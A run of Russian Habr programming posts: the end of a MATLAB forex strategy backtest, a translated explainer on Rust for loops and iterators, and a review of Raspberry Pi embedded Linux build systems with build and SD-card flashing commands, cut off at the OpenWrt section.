if t == tfNumb
barLen = dataLen - TF * ( tfNumb - 1 );
end
for tick = 2:(barLen - 1) % по всем тикам внутри таймфрейма...
if dealDir == 1 % если открыта сделка покупки
% обновляем текущее состояние сделки
currDeal = bidPrices( currTime + tick ) - openDealPrice;
currEQmin = min( currDeal, currEQmin );
currEQmax = max( currDeal, currEQmax );
currEQclose = currDeal;
% обновляем текущее стоп-лосс
stopLoss = max( stopLoss, bidPrices( currTime + tick ) - P( 5 ) * 0.0001 );
% проверка на закрытие по стоп-лоссу или тейк-профиту
if or( bidPrices( currTime + tick ) <= stopLoss, ...
bidPrices( currTime + tick ) >= takeProfit ...
)
dealDir = 0;
% обновление характеристик стратегии
updateStratRates( currDeal );
% если демонстрационный режим, то закрытие бара
% текущей сделки
if WithPlot
[EQ, eqCounter] = updateSeries( EQ, eqCounter, [currEQopen, currEQmax, currEQmin, currEQclose] );
end
end
end
if dealDir == -1 % если открыта сделка продажи
currDeal = openDealPrice - askPrices( currTime + tick );
currEQmin = min( currDeal, currEQmin );
currEQmax = max( currDeal, currEQmin );
currEQclose = currDeal;
% обновляем текущее стоп-лосс
stopLoss = min( stopLoss, askPrices( currTime + tick ) + P( 5 ) * 0.0001 );
% проверка на закрытие по стоп-лоссу или тейк-профиту
if or( askPrices( currTime + tick ) >= stopLoss, ...
askPrices( currTime + tick ) <= takeProfit ...
)
dealDir = 0;
% обновление характеристик стратегии
updateStratRates( currDeal );
% если демонстрационный режим, то закрытие бара
% текущей сделки
if WithPlot
[EQ, eqCounter] = updateSeries( EQ, eqCounter, [currEQopen, currEQmax, currEQmin, currEQclose] );
end
end
end
end
% при открытии нового таймфрейма обновляем скользящие средние
E1 = E1 + P( 2 ) * 0.0001 * ( bidPrices( currTime ) - E1 );
E2 = E2 + P( 3 ) * 0.0001 * ( bidPrices( currTime ) - E2 );
% проверка текущего сигнала на открытие сделки
signal = 0;
if and( and( bidPrices( currTime ) >= E2, E2 > E1 ), abs( E1 - E2 ) >= P( 4 ) * 0.0001 )
signal = 1;
end
if and( and( bidPrices( currTime ) <= E2, E2 < E1 ), abs( E1 - E2 ) >= P( 4 ) * 0.0001 )
signal = -1;
end
% закрытие, если открыта сделка и есть сигнал на открытие
% противоположной
if or( ...
and( dealDir == 1, signal == -1 ), ...
and( dealDir == -1, signal == 1 ) ...
)
dealDir = 0;
% обновление характеристик стратегии
updateStratRates( currDeal );
% если демонстрационный режим, то закрытие бара
% текущей сделки
if WithPlot
[EQ, eqCounter] = updateSeries( EQ, eqCounter, [currEQopen, currEQmax, currEQmin, currEQclose] );
end
end
% открытие сделки на покупку
if and( dealDir == 0, signal == 1 )
dealDir = 1;
openDealPrice = askPrices( currTime ); % цена открытия
% стоп-лосс и тэйк-профит
stopLoss = bidPrices( currTime + tick ) - P( 5 ) * 0.0001;
takeProfit = bidPrices( currTime + tick ) + P( 6 ) * 0.0001;
% инициализация значений бара Equity
currEQopen = askPrices( currTime + tick ) - bidPrices( currTime + tick );
currEQmin = askPrices( currTime + tick ) - bidPrices( currTime + tick );
currEQmax = askPrices( currTime + tick ) - bidPrices( currTime + tick );
currEQclose = askPrices( currTime + tick ) - bidPrices( currTime + tick );
end
% открытие сделки на продажу
if and( dealDir == 0, signal == -1 )
dealDir = -1;
openDealPrice = bidPrices( currTime ); % цена открытия
% стоп-лосс и тэйк-профит
stopLoss = askPrices( currTime + tick ) + P( 5 ) * 0.0001;
takeProfit = askPrices( currTime + tick ) - P( 6 ) * 0.0001;
% инициализация значений бара Equity
currEQopen = askPrices( currTime + tick ) - bidPrices( currTime + tick );
currEQmin = askPrices( currTime + tick ) - bidPrices( currTime + tick );
currEQmax = askPrices( currTime + tick ) - bidPrices( currTime + tick );
currEQclose = askPrices( currTime + tick ) - bidPrices( currTime + tick );
end
end
% закрываем все открытые сделки
if dealDir ~= 0
% обновление характеристик стратегии
updateStratRates( currDeal );
% если демонстрационный режим, то закрытие бара
% текущей сделки
if WithPlot
[EQ, eqCounter] = updateSeries( EQ, eqCounter, [currEQopen, currEQmax, currEQmin, currEQclose] );
end
end
end
Z = 0;
```
В приведённом выше листинге используется вспомогательная функция updateSeries, это своего рода «push\_back».
Функция updateSeries.m:
```
function [S, I] = updateSeries(s, i, v)
if i == 0
S = v;
I = 1;
else
I = i + 1;
S = [s; v];
end
```
Ну и наконец, как всё это вместе можно использовать:
Скрипт mainScript.m:
```
% loadPrices; % загрузка данных
global stratName;
global returnParamIndex;
global pairIndex;
global DATA;
global PRICES;
global dataBlocksNumber;
global WithPlot;
global EQ;
global eqCounter;
stratName = 'twoEma'; % тестируем twoEMA
pairIndex = 2; % вторая валютная пара (EUR/USD)
DATA = PRICES;
dataBlocksNumber = 16;
WithPlot = false; % режим отладки
P = [900, 100, 310, 25, 100, 40]; % стартовые значения
returnParamIndex = 7; % оптимизируем коэффициент Шарпа
P = fminsearch( 'testStrat', P );
display(P);
WithPlot = true; % режим демонстрации
EQ = 0;
eqCounter = 0;
returnParamIndex = 0;
R = testStrat( P );
display(R);
for i = 2:eqCounter % приводим бары по сделкам к накопительному виду
EQ( i, 1 ) = EQ( i, 1 ) + EQ( i - 1, 4 );
EQ( i, 2 ) = EQ( i, 2 ) + EQ( i - 1, 4 );
EQ( i, 3 ) = EQ( i, 3 ) + EQ( i - 1, 4 );
EQ( i, 4 ) = EQ( i, 4 ) + EQ( i - 1, 4 );
end
candle(EQ(:, 2), EQ(:, 3), EQ(:, 4), EQ(:, 1)); title('Equity');
```
В результате equity торговой системы будет выглядеть так:
А характеристики так:
DrawDown: 0.0105
Recovery: 12.6103
Equity: 0.1320
DealsNumber: 47
MeanDeal: 0.0028
DealsSigma: 0.0056
Sharp: 0.5034
ProfitFactor: 3.3393
ProfitDealsNumber: 34
ProfitDealsRate: 0.7234
ProfitMean: 0.0055
LossDealsNumber: 13
LossDealsRate: 0.2766
LossMean: -0.0043
Могло быть и лучше… Что неудивительно, как минимум, надо использовать более интеллектуальную функцию поиска оптимума чем fminsearch, учитывая, что у нас нет никаких оснований считать целевую функцию гладкой, непрерывно дифференцируемой и уномодальной…
Но ведь у нас не было цели создать супер систему. А возможности использования Matlab продемонстрированы. | https://habr.com/ru/post/260635/ | null | ru | null |
# Rust: for и итераторы
([предыдущая статья](https://habrahabr.ru/post/306582/))
В данной статье мы обсудим **for** циклы, а так же родственные понятия итераторов и «итерируемых объектов».
В зависимости от вашего предыдущего опыта с другими языками программирования данные концепции могут показаться очень знакомыми в плане синтаксиса и семантики, или же совершенно новыми и непонятными. Наиболее близкие их аналоги можно найти в Питоне, но, думаю, программисты на Java, C# или же (современном) C++ так же увидят много пересечений с тем что есть в их языках.
Основы
======
В Расте синтаксис **for** цикла практически по-спартански немногословен:
```
let v = vec!["1", "2", "3"];
for x in v {
println!("{}", x);
}
```
(Вариант цикла **for** через двойную точку с запятой отсутствует в Расте как явление, так же как и в Питоне мы либо можем итерировать по некоторому [диапазону](http://rustbyexample.com/flow_control/for.html), либо использовать **while** или **loop** для более сложных случаев)
Ожидаемо код выше [напечатает](https://is.gd/qtxqLD) три строчки с 1, 2, 3. Возможно менее очевидным является тот факт, что вектор **v** был **перемещён** внутрь цикла во время его исполнения. Попытка [использовать](https://is.gd/1mv7RV) этот вектор после цикла выдаст ошибку:
```
:6:22: 6:23 error: use of moved value: `v` [E0382]
:4 println!("{}", x);
:5 }
:6 println!("{:?}", v);
^
```
Владение вектором и его элементами полностью безвозвратно переместилось внутрь цикла. Будучи весьма неожиданным по сравнению с иными языками, данное поведение полностью соответствует общей политике Раста «перемещения по умолчанию».
Но не привыкнув полностью к правилам перемещения и заимствования данный факт всё-равно может оказаться для вас сюрпризом, т.к. по большей части перемещение ассоциируется с вызовом функций и их контекстом. В большинстве случаев, для упрощения понимания, вы можете считать **for** цикл выше аналогичным функции **for\_each**:
```
for_each(v, |x| println!("{}", x));
```
Данное представление так же даёт подсказку как нам избежать перемещения значения внутрь цикла. Вместо того что бы передавать сам вектор мы можем передать лишь ссылку на него:
```
for_each_ref(&v, |x| println!("{}", x));
```
[Переведя](https://is.gd/Zrq0JL) данный код обратно в форму цикла:
```
for x in &v {
println!("{}", x);
}
println!("{:?}", v);
```
Мы избавимся от ошибки компилятора.
Итераторы и «итерируемые объекты»
=================================
Важно отметить, что добавленный амперсанд (**&**) ни в коем случае не является частью синтаксиса цикла **for**. Мы просто поменяли тот объект по которому мы итерируем, вместо **Vec**, непосредственно вектора, мы передаём **&Vec**, неизменяемую (иммутабельную) ссылку на него. Последствием этого является смена типа **x** с **T** на **&T**, т.е. теперь это *ссылка* на элемент. (это никак не повлияло на тело цикла благодаря наличию "[преобразования при разыменовании](http://rurust.github.io/rust_book_ru/src/deref-coercions.html)")
Таким образом получается что **Vec** и **&Vec**, оба являются «итерируемыми объектами». Обычным способом реализовать такое для языков программирования является введение особого объекта — «итератора».
Итератор отслеживает на какой элемент он указывает в данный момент и поддерживает как минимум следующие операции:
1. Получение текущего элемента
2. Перемещение к следующему элементу
3. Уведомление о том, что элементы закончились
Некоторые языки предоставляют различные итераторы для каждой из этой задач, но в Расте было решено объединить их в один. Посмотрев на документацию для трейта [**Iterator**](https://doc.rust-lang.org/std/iter/trait.Iterator.html) вы увидите, что для того что бы удовлетворить ему реализации достаточно иметь один метод **next**.
Убираем синтаксический сахар
============================
Но как именно создаются объекты-итераторы из итерируемых объектов?
В типичной для Раста манере данная задача делегирована другому трейту, именуемому **IntoIterator**:
```
// (упрощено)
trait IntoIterator {
fn into_iter(self) -> Iterator;
}
```
Уникальной чертой Раста является то, что **into\_iter**, единственный метод данного трейта, не только создаёт итератор из коллекции, но и по сути поглощает исходную коллекцию, оставляя полученный итератор единственным способом получения доступа к элементам коллекции. (Из-за чего мы можем это утверждать? Всё дело в том, что **into\_iter** получает в качестве аргумента **self**, а не **&self** или **&mut self**, что означает что владение объектом передаётся во внутрь этого метода)
(примечание переводчика: здесь и далее автор не рассматривает подробно разницу между методами коллекций **into\_iter**, **iter** и **iter\_mut** для создания итераторов, которая заключается в том, что первый перемещает коллекцию вовнутрь себя, а второй иммутабельно заимствует, а значит итерация проходит по иммутабельным ссылкам элементам, третий же заимствует мутабельно, позволяя тем самым во время итерации менять элементы коллекции)
Подобное поведение защищает нас от весьма распространённой ошибки именуемой инвалидацией итератора, которая вероятно достаточно хорошо известна программистам на C++. Т.к. коллекция по сути «сконвертирована» в итератор, то становится невозможным следующее:
1. Существование более чем одного итератора указывающего на коллекцию
2. Изменение коллекции пока один из итераторов находится в области видимости
Не звучат ли для вас знакомо все эти «перемещения» и «заимствоания»? Ранее я отметил, что итерируя по вектору в **for** цикле мы по сути перемещаем его «внутрь цикла».
Как вы можете уже догадаться во время итерации по вектору мы на самом деле вызываем для этого вектора **IntoIterator::into\_iter**, получая на его выходе итератор. Вызывая **next** в каждой итерации мы продолжаем двигаться по циклу пока не получим **None**.
Таким образом, цикл:
```
for x in v {
// тело цикла
}
```
В сущности просто синтаксический сахар для следующего выражения:
```
let mut iter = IntoIterator::into_iter(v);
loop {
match iter.next() {
Some(x) => {
// тело цикла
},
None => break,
}
}
```
Вы можете хорошо видеть, что **v** нельзя использовать не только после того как цикл закончится, но даже до того как он **начнётся**. Это произошло т.к. мы переместили вектор внутрь итератора **iter** посредством метода **into\_iter** трейта… **IntoIterator**!
Просто, не правда ли? :)
> Цикл **for** является синтаксическим сахаром для вызова **IntoIterator::into\_iter** с последующим неоднократным вызовом **Iterator::next**.
Амперсанд
=========
Однако не всегда такое поведение является желательным. Но мы уже знаем способ как этого избежать. Вместо того что бы итерировать по самому вектору, воспользуемся ссылкой на него:
```
for x in &v {
// тело цикла
}
```
(прим. перев.: эквивалентно **for x in v.iter() {...}**)
При этом всё о чём мы говорили выше применяется и здесь, вплоть до раскрытия синтаксического сахара. Метод **into\_iter** вызывается так же как и раньше, с одним различием, вместо вектора он получает ссылку на него:
```
// (упрощено)
impl IntoIterator for &Vec {
fn into\_iter(self) -> Iterator { ... }
}
```
Таким образом итератор на выходе будет выдавать ссылки на элементы вектора (**&T**), а не сами элементы (**T**). И т.к. **self** выше это тоже ссылка, коллекция никуда не перемещается, благодаря чему мы можем спокойно обращаться к ней после окончания цикла.
Тоже самое и для изменяемых ссылок:
```
for x in &mut v {
// тело цикла
}
```
(прим. перев.: эквивалентно **for x in v.iter\_mut() {...}**)
С той лишь разницей что теперь **into\_iter** вызывается для **&mut Vec**. Соответственно результат вида **Iterator** позволяет нам модифицировать элементы коллекции.
Для поддержки этих двух случаев нам не потребовалось никакой дополнительной поддержки компилятора, т.к. всё уже покрыто одним и тем же трейтом.
> Раскрытие синтаксического сахара цикла через **IntoIterator** работает одинаково и для непосредственно объектов коллекций, и для изменяемых и неизменяемых ссылок на них.
Что насчёт метода **iter**?
===========================
До сих пор мы говорили только об циклах **for**, представляющих весьма императивный стиль вычислений.
Если же вы более склонны к функциональному программированию, вы возможно видели и писали различные конструкции, комбинирующие методы подобные таким:
```
let doubled_odds: Vec<_> = numbers.iter()
.filter(|&x| x % 2 != 0).map(|&x| x * 2).collect();
```
Методы наподобии **map** и **filter** называются адаптерами итераторов, и все они [определяются](https://doc.rust-lang.org/std/iter/trait.Iterator.html) для трейта **Iterator**. Они не только весьма многочисленны и выразительны, но и могут поставляться сторонними [крейтами](https://crates.io/crates/itertools).
Для того что бы воспользоваться преимуществами адаптеров нам необходимо сначала получить итератор. Мы знаем, что циклы обычно получают его через **into\_iter**, поэтому в принципе мы можем использовать тот же подход и здесь:
```
let doubled_odds: Vec<_> = IntoIterator::into_iter(&numbers)
.filter(|&x| x % 2 != 0).map(|&x| x * 2).collect();
```
Дабы улучшить читабельность кода и уменьшить его размер, коллекции обычно предоставляют метод **iter**, который является сокращением выражения выше. Именно этот метод вы обычно и будете видеть в выражениях подобному выше.
> **v.iter()** не более чем сокращение для **IntoIterator::into\_iter(&v)**.
Как насчёт обоих?
=================
Последнее что стоит отметить: Раст не указывает что нам использовать, итераторы или циклы, для работы с коллекциями. Со включенными оптимизациями в release режиме оба подхода должна скомпилироваться в одинаково эффективный машинный код с заинлайненными замыканиями и развёрнутыми при необходимости циклами.
Таким образом, выбор того или иного подхода не более чем вопрос стиля и привычки. Иногда верным решением будет смешать оба подхода, что Раст позволяет сделать без проблем:
```
fn print_prime_numbers_upto(n: i32) {
println!("Prime numbers lower than {}:", n);
for x in (2..n).filter(|&i| is_prime(i)) {
println!("{}", x);
}
}
```
Как и ранее это возможно через раскрытие синтаксического сахара с использованием трейта **IntoIterator**. В данном случае Раст [применит](https://github.com/rust-lang/rust/blob/bbfcb471db0799a7d92d62e66cf44bbd68051675/src/libcore/iter/traits.rs#L253) конвертацию итератора в самого себя.
> Сами итераторы так же являются «итерируемыми объектами», посредством «прозрачной» реализации трейта **IntoIterator::into\_iter**.
В заключение
============
Если вы хотите узнать больше информации об итераторах и циклах лучшим источником для вас будет [официальная документация](http://doc.rust-lang.org/std/iter/index.html#for-loops-and-intoiterator). И хотя овладение всеми адаптерами итераторов ни в коем случае необязательно для написания эффективного кода на Расте, весьма вероятно внимательный просмотр документации для метода [**collect**](http://doc.rust-lang.org/std/iter/index.html#for-loops-and-intoiterator) и связанного с ним трейта [**FromIterator**](https://doc.rust-lang.org/std/iter/trait.FromIterator.html) окажется весьма полезным для вас. | https://habr.com/ru/post/306702/ | null | ru | null |
# Обзор систем сборок для Raspberry Pi
В прошлом мой выбор пал на OpenEmbedded (OE) и по заслугам, она одна из лучших систем сборок. К выбору на тот момент не подходил осознанно и захотел исправить это, поэтому решил посмотреть на текущие решения.
Мысль бы не пришла в голову, если под руками не оказалась плата Raspberry Pi (RPi), популярность которой зашкаливает — это означает одно, что попробовать новые системы сборки должно быть как никогда просто.
Забегая вперед, хочу сказать, что мне хотелось выбрать систему сборки для любой платы, RPi это или нет — не важно и был приятно удивлен количеством решений, которые уже сделаны под эту плату.
#### Мотив
Года два-три назад моя основная и единственная система сборок была [OpenEmbedded](http://www.openembedded.org/wiki/Main_Page), так получилось, что попробовать что-то другое не было нужно. Я просто решил, что лучше изучить одну систему хорошо и то, что она популярная это только плюс, нежели пойти по другому пути и попробовать как можно больше систем сборок.
Мое мнение сейчас, что на тот момент момент у меня не было отладочной платы под которую были решения для других систем сборок. А таких решений как [RPi](http://en.wikipedia.org/wiki/Raspberry_Pi) не было, но лукавлю — была плата [BeagleBoard](http://en.wikipedia.org/wiki/BeagleBoard), но если выбирать сейчас, RPi на порядок дешевле.
Поэтому начиная все заново, мне захотелось попробовать подойти к выбору систем сборок более осознанно и заодно посмотреть, возможно что-то изменилось. (и правда, изменилось)
*Цель же этой статьи*: очень кратко познакомить с системами сборок и дать максимально работающие инструкции, чтобы избежать плохого впечатления.
Я дал краткую выдержку о всех впечатлений в секции «Заключение», поэтому можете смело переходить туда, если не желаете тратить свое время на сборку образов.
##### Зачем это нужно
Допустим вы захотели собрать свой образ для RPi и стоите перед выбором как это сделать (под *образом* понимается прошивка на основе GNU/Linux для отладочной платы) и не знаете с чего начать.
Здесь вы найдете способ как это сделать, но не один, а сразу 6, потому что столько систем сборок мне удалось попробовать.
##### Кому полезна данная статья
Данная статья рассчитана на человека, разбирающегося в командной строке Linux-a, т.к. все примеры рассмотрены в ней были проверены под Arch Linux x84\_64, что означает, что скорее всего у вас они тоже заработают.
Также он должен будет сам установить недостающие пакеты и программы, необходимые для системы сборки, которую он выберет, через менеджер приложений его системы. Этот шаг очень простой, т.к. почти каждая система сборок сама указывает какая программа не установлена.
В остальном статья предоставляет простые инструкции по сборке, дает перечень решений к появившимся у меня проблемам.
И конечно, не забудьте, что статья рассчитана на RPi.
##### Критерии
У меня несколько критериев, для системы сборок:
1. Она должна мне нравится
2. Она должна работать под GNU/Linux
3. Она должна быть удобной
Поясню их:
Нравится, та система, которую мне захочеться использовать и год и два и 5+. И если нету поддержки моей отладочной платы, то с удовольствием ее добавлю.
Моя основная система это Arch Linux x86\_64.
Удобство — это наличие документации, работоспособность, т.е. с ней удобно работать.
#### Список систем сборок
Я уже знал несколько систем сборок, такие как OpenEmbedded и PTXdist, поиск дал мне еще несколько, но в последствии список взял [здесь](http://elinux.org/Build_Systems):
* OpenBricks
* LTIB
* PTXdist
* Yocto Project / OpenEmbedded
* OpenWRT / BuildRoot
Список составлен от наименее до наиболее понравившейся системе.
##### Наблюдения в отличии сборок
* У каждой системы сборок, свой способ или скрипт для загрузки образа
* Каждая система сборок была создана, какой-нибудь конкретной организацией, для своих нужд
* Вы можете наблюдать, как изменяются инструкции переходя от одной системы к другой, последние мне кажутся практически идеальными.
#### Системы сборок
##### Основные моменты
Перед тем, как перейти к самим сборкам, здесь опишу основные моменты, которые использовались при составлении описания.
* Каждое описание системы содержит отдельную секцию с ошибками, которые возникли у меня при выполнении инструкций, чтобы оставить инструкции в простом и понятном виде
* Каждое описание содержит секцию с ссылками используемые ресурсы в статье
* Каждое описание содержит секцию с «О системе», где попытался дать свое представление о системе и поделиться впечатлением от использования. Полное описание самой системы можете найти на соответствующем сайте.
* В инструкциях присутствует переменная SANDBOX, ввел ее для упрощения записи инструкций, указывает на любую выбранную вами директорию
* Не стал рассматривать отсутствия пакетов, необходимых для сборки. (таких как gcc, git и т.п.)
##### OpenBricks
###### О системе
Это система сборки, которая используется проектом [GeeXBox](http://www.geexbox.org/) — дистрибутив Linux с медиа-центром.
Для меня она оказалось самой сложной в использовании, потому что инструкций по сборке как таковых нет, есть очень простое описание и оно не работает, но мне удалось разобраться и собрать образ и он запустился, но… выдал ошибку.
Но, вы можете попробовать уже собранные образы на странице проекта (см. ссылки)
###### Инструкции
Я пробовал собирать образ под основной (host) машиной, появлялись ошибки (см. ошибки), устал.
Скачал образ Ubuntu под VirtualBox, запустил под ним, не собралось, оказалось была проблема в понимании.
Я пытался собрать образ используя репозиторий OpenBricks, но он оказался больше тестовый, т.е. на сайте GeeXBox написано, что если там не собирается, то это нормально. Работающий, оказался репозиторий GeeXBox, но сборка через make menuconfig не увенчалась успехом, поэтому было решение использовать make \*defconfig.
С помощью этих инструкций был получен образ:
```
export OB=$SANDBOX/ob
mkdir $OB && cd $OB
hg clone http://hg.geexbox.org/geexbox
cd geexbox
make geexbox-xbmc-bcm2708-raspberrypi_defconfig
make
#
# Установка образа
#
wget http://download.geexbox.org/snapshots/geexbox-xbmc-bcm2708-raspberrypi/latest/binaries.raspberrypi/make-sdcard
chmod +x make-sdcard
./make-sdcard /dev/mmcblk0 geexbox-3.0.raspberrypi.tar.bz2 raspberrypi
```
###### Ошибки
* Не был найден `first32k.bin`. Решение: нашел в поиске, скачал, поправил путь в packages/linux/build
* `file not recognized: File format not recognized`. Решиние: [эта ссылка и править пакеты](http://lists.gnu.org/archive/html/libtool/2010-02/msg00002.html) или [установить гостевую 32битную систему](http://virtualboxes.org/images/ubuntu/)
* Битые ссылки, например на `ecore, eina, eet, evas, libXdamage`. Решение: найти в поиске, скачать, заменить — не помогло
###### Ссылки
* [GeeXBox](http://www.geexbox.org/) и [образы](http://www.geexbox.org/download/)
* [OpenBricks](http://www.openbricks.org/development-source-tree/)
* [Инструкции на OpenBricks](http://www.openbricks.org/build-instructions/)
###### Cкриншот
##### LTIB
###### О системе
Система сборок, которую используют в [Freescale](http://www.freescale.com/) для своих BSP.
Использует perl для сборки пакетов, а сами пакеты хранятся в rpm, что само по себе непривычно.
Еще одна особенность — LTIB не компилирует Toolchain, а скачивает или использует готовый, что для меня минус.
###### Инструкции
```
export LTIB=$SANDBOX/ltib
mkdir $LTIB && cd $LTIB
cvs -z3 -d:pserver:anonymous@cvs.savannah.nongnu.org:/sources/ltib co -P ltib
cd ltib
./ltib
#
# Ругнулся:
#
# - по поводу rpm, установил rpm-org
# - по поводу sudo, добавил их строчку в sudo
# - не нашел достающий пакет
#
#
# Недостающий пакет
#
cd $LTIB
git clone https://github.com/midnightyell/RPi-LTIB.git
cp RPi-LTIB/ltib/opt/ltib/pkgs/*.rpm /opt/ltib/pkgs/
./ltib
#
# Установка образа
#
sudo config/platform/rpi/rpi_mksdimage.sh -B rootfs/boot/ -R rootfs.ext2.gz
sudo dd if=rpi_sdcard.img of=/dev/mmcblk0
```
Собралось нормально, но в итоге вывод не показывался на терминал (uart или com порт), оказалось, что он просто выключен. К устройству можно было подключиться по ssh и попасть в консоль. (оказалось не очевидно)
###### Ошибки
* Не был найден `rpm`. Решение: установил rpm-org, (rpm от red hat, не сработал)
* Не был найден недостающий пакет. Решение в инструкциях выше
###### Ссылки
* [LTIB](http://ltib.org/home-intro)
* [Странного вида инструкция](http://midnightyell.wordpress.com/2012/10/08/ltib-for-raspberry-pi/#)
###### Скриншот
##### PTXdist
###### О системе
Система, которую используют [Pengutronix](http://www.pengutronix.de/index_de.html).
Данная система сборки разбита на 2 этапа, сборку компилятора (toolchain) и самого образа системы. Т.е. получается, что образ собирается за два действия, а не за одно. Возможно, это минус.
В прошлом мне эта система показалась достаточно интересной. Было удобно пользоваться, а код внутри её структурированный и читабельный.
###### Инструкции
При первом поиске нашел на [github-e](https://github.com/fabricega/OSELAS.BSP-RaspberryPi) вариант данной системы сборки для RPi, но мне не удалось её собрать (компилятор собрался, образ нет). Проблема, как мне кажется, что по вероятности её собирали под debian линуксом, что скорее всего ubunta, а у меня не она.
Но мне не хотелось останавливаться и поверить, что никто не использовал эту систему сборки для RPi. И нашел вариант, который находится на главном репозитории Pengutronix.
Инструкции, которые мне позволили собрать образ (и обратите внимание на секцию с ошибками внизу):
```
export PTX=$SANDBOX/ptx
mkdir $PTX && cd $PTX
#
# Собираем ptxdist
#
git clone git://git.pengutronix.de/git/ptxdist.git
cd ptxdist/
./autogen.sh
mkdir out
./configure --prefix=`pwd`/out
make && make install
export PATH=`pwd`/out/bin:$PATH
cd ..
#
# Собираем toolchain
#
wget http://www.ptxdist.de/oselas/toolchain/download/OSELAS.Toolchain-2011.11.3.tar.bz2
tar -xjf OSELAS.Toolchain-2011.11.3.tar.bz2
cd OSELAS.Toolchain-2011.11.3/
ptxdist select ptxconfigs/arm-1136jfs-linux-gnueabi_gcc-4.6.2_glibc-2.14.1_binutils-2.21.1a_kernel-2.6.39-sanitized.ptxconfig
ptxdist --force menuconfig
ptxdist --force go
cd ..
#
# Собираем образ
#
git clone http://git-public.pengutronix.de/git-public/OSELAS.BSP-Pengutronix-Generic.git
cd OSELAS.BSP-Pengutronix-Generic
git clone git://git.pengutronix.de/git/platform-pengutronix-raspberrypi.git
ptxdist select configs/ptxconfig
ptxdist platform platform-pengutronix-raspberrypi/platformconfig
ptxdist toolchain /opt/OSELAS.Toolchain-2011.11.3/arm-1136jfs-linux-gnueabi/gcc-4.6.2-glibc-2.14.1-binutils-2.21.1a-kernel-2.6.39-sanitized/bin
ptxdist --force go
ptxdist --force images
#
# Заливаем образ на SD карточку
#
sudo dd if=./platform-pengutronix-raspberrypi/images/hd.img of=/dev/mmcblk0
```
###### Ошибки
* `configure: error: cannot compute suffix of object files: cannot compile`. После выяснения стало ясно, что она символизирует совершенно другое — ./configure просто не нашел компилятор. Если использовалась опция fake args, то ./configure не пытался даже искать компилятор, а брал название его из неё. Решение: заменить в fake args (в ptxdist menuconfig) на «gcc»
* `@itemx must follow @item`. Она появлялась из-за того, что на моей машине стоял makeinfo версией 5.0. Решение: установить `makeinfo` версией меньше, чем 5.0.
* Битая ссылка на файлы. Решение: скачать, файлы [pkg-config-0.25.tar.gz](http://pkgs.fedoraproject.org/repo/pkgs/pkgconfig/pkg-config-0.25.tar.gz/a3270bab3f4b69b7dc6dbdacbcae9745/pkg-config-0.25.tar.gz), [udev-172.tar.bz2](http://pkgs.fedoraproject.org/lookaside/pkgs/udev/udev-172.tar.bz2/bd122d04cf758441f498aad0169a454f/udev-172.tar.bz2) и положить в папку `src`
###### Ссылки
* [PTXdist](http://www.ptxdist.org/software/index_en.html)
* Репозитории Pengutronix — [утилиты](http://git.pengutronix.de/) и [BSP](http://git-public.pengutronix.de/)
* [OSELAS.BSP-Pengutronix-Generic, там же ссылки на Quickstart-ы](http://git-public.pengutronix.de/?p%3DOSELAS.BSP-Pengutronix-Generic.git%3Ba%3Dsummary%20)
###### Скриншот
##### Yocto Project / OpenEmbedded
###### О системе
[OpenEmbedded](http://www.openembedded.org/wiki/Main_Page) это система сборок, которую используют кому не лень, она содержит очень много пакетов и сама по себе очень популярна и главное — это все работает.
Но, когда начал поиски систем сборок для RPi, то наткнулся на [Yocto project](https://www.yoctoproject.org/) о котором ничего не знал и оказалось, что он использует внутри себя OpenEmbedded.
Он появился в 2010-2011 году и оказалось, что цель достаточно хорошая — улучшить средства разработчику для работы со встраиваемыми системами и взять за основу OpenEmbedded.
Как результат, более стабильные билды, больше тестов и лучшая документация, мне удалось слабо пробежаться по этим фактам, но при компиляции образа было очень мало проблем.
Поэтому смело объединил, OpenEmbedded и Yocto project в одну секцию.
###### Инструкции
```
export YOCTO=$SANDBOX/yocto
mkdir $YOCTO && cd $YOCTO
#
# Приготовление
#
git clone git://git.yoctoproject.org/poky
cd poky
git clone https://github.com/djwillis/meta-raspberrypi.git
source oe-init-build-env build
#
# Настройка
#
emacs conf/local.conf
# Здесь следует изменить или удалить комментарий в таких переменных
# как
#
# BB_NUMBER_THREADS = "4"
#
# PARALLEL_MAKE = "-j 4"
#
# MACHINE ?= "raspberrypi"
#
emacs conf/bblayers.conf
# Здесь следует добавить путь к meta-raspberrypi в соответсвии с
# примером:
#
# BBLAYERS ?= " \
# /home/m039/Trash/sandbox/yocto/poky/meta \
# /home/m039/Trash/sandbox/yocto/poky/meta-raspberrypi \
# /home/m039/Trash/sandbox/yocto/poky/meta-yocto \
# /home/m039/Trash/sandbox/yocto/poky/meta-yocto-bsp \
# "
#
# Для сборки может потребоваться какие-нибудь утилиты, пожалуйста,
# установите их с помощью средств своего дистрибутива.
#
#
# Сборка образа
#
bitbake rpi-basic-image
#
# Заливаем образ на SD карточку
#
sudo dd if=./tmp/deploy/images/rpi-basic-image-raspberrypi.rpi-sdimg of=/dev/mmcblk0
```
###### Ошибки
* В системе у меня по-умолчанию python3, а для сборки нужен был python2. Решение: [это](http://stackoverflow.com/questions/7237415/python-2-instead-of-python-3-as-the-temporary-default-python) (использовать [virtualenv](https://pypi.python.org/pypi/virtualenv))
###### Ссылки
* [Yocto project](https://www.yoctoproject.org)
* [Инструкции](http://www.pimpmypi.com/blog/blogPost.php?blogPostID%3D7)
###### Скриншот
##### BuildRoot
###### О системе
Данную систему сборки использует [OpenWrt](http://en.wikipedia.org/wiki/OpenWrt).
Я не использовал эту систему раньше, поэтому добавить о ней ничего не могу, но она мне понравилась. Она оказалась очень простой в использовании и заработала, практически сразу.
Но установка образа, оказалась не красивой.
###### Инструкции
```
export BR=$SANDBOX/br
mkdir $BR && cd $BR
git clone --depth 1 git://github.com/gamaral/rpi-buildroot.git
cd rpi-buildroot
make raspberrypi_defconfig
make
#
# Устанавливаем образ
#
sudo mkfs.vfat -F 16 -n boot /dev/mmcblk0p1
sudo mkdir -p mnt/boot
sudo mount /dev/mmcblk0p1 mnt/boot
sudo cp output/images/boot/* mnt/boot
sudo umount mnt/boot
sudo mkfs.ext3 -L rootfs /dev/mmcblk0p2
sudo mkdir -p mnt/rootfs
sudo mount /dev/mmcblk0p2 mnt/rootfs
sudo tar -xvpsf output/images/rootfs.tar -C mnt/rootfs
sudo umount mnt/rootfs
```
###### Ошибки
* Были битые ссылки. Решение: скачать [udev-182.tar.bz2](http://mirror.anl.gov/pub/linux/utils/kernel/hotplug/udev-182.tar.bz2) файлы и положить в папку $BR/RaspberryPi-BuildRoot/dl
###### Ссылки
* [BuildRoot](http://buildroot.uclibc.org)
* [rpi-buildroot](https://github.com/gamaral/rpi-buildroot) там же инструкции
###### Скриншот
##### OpenWrt
###### О системе
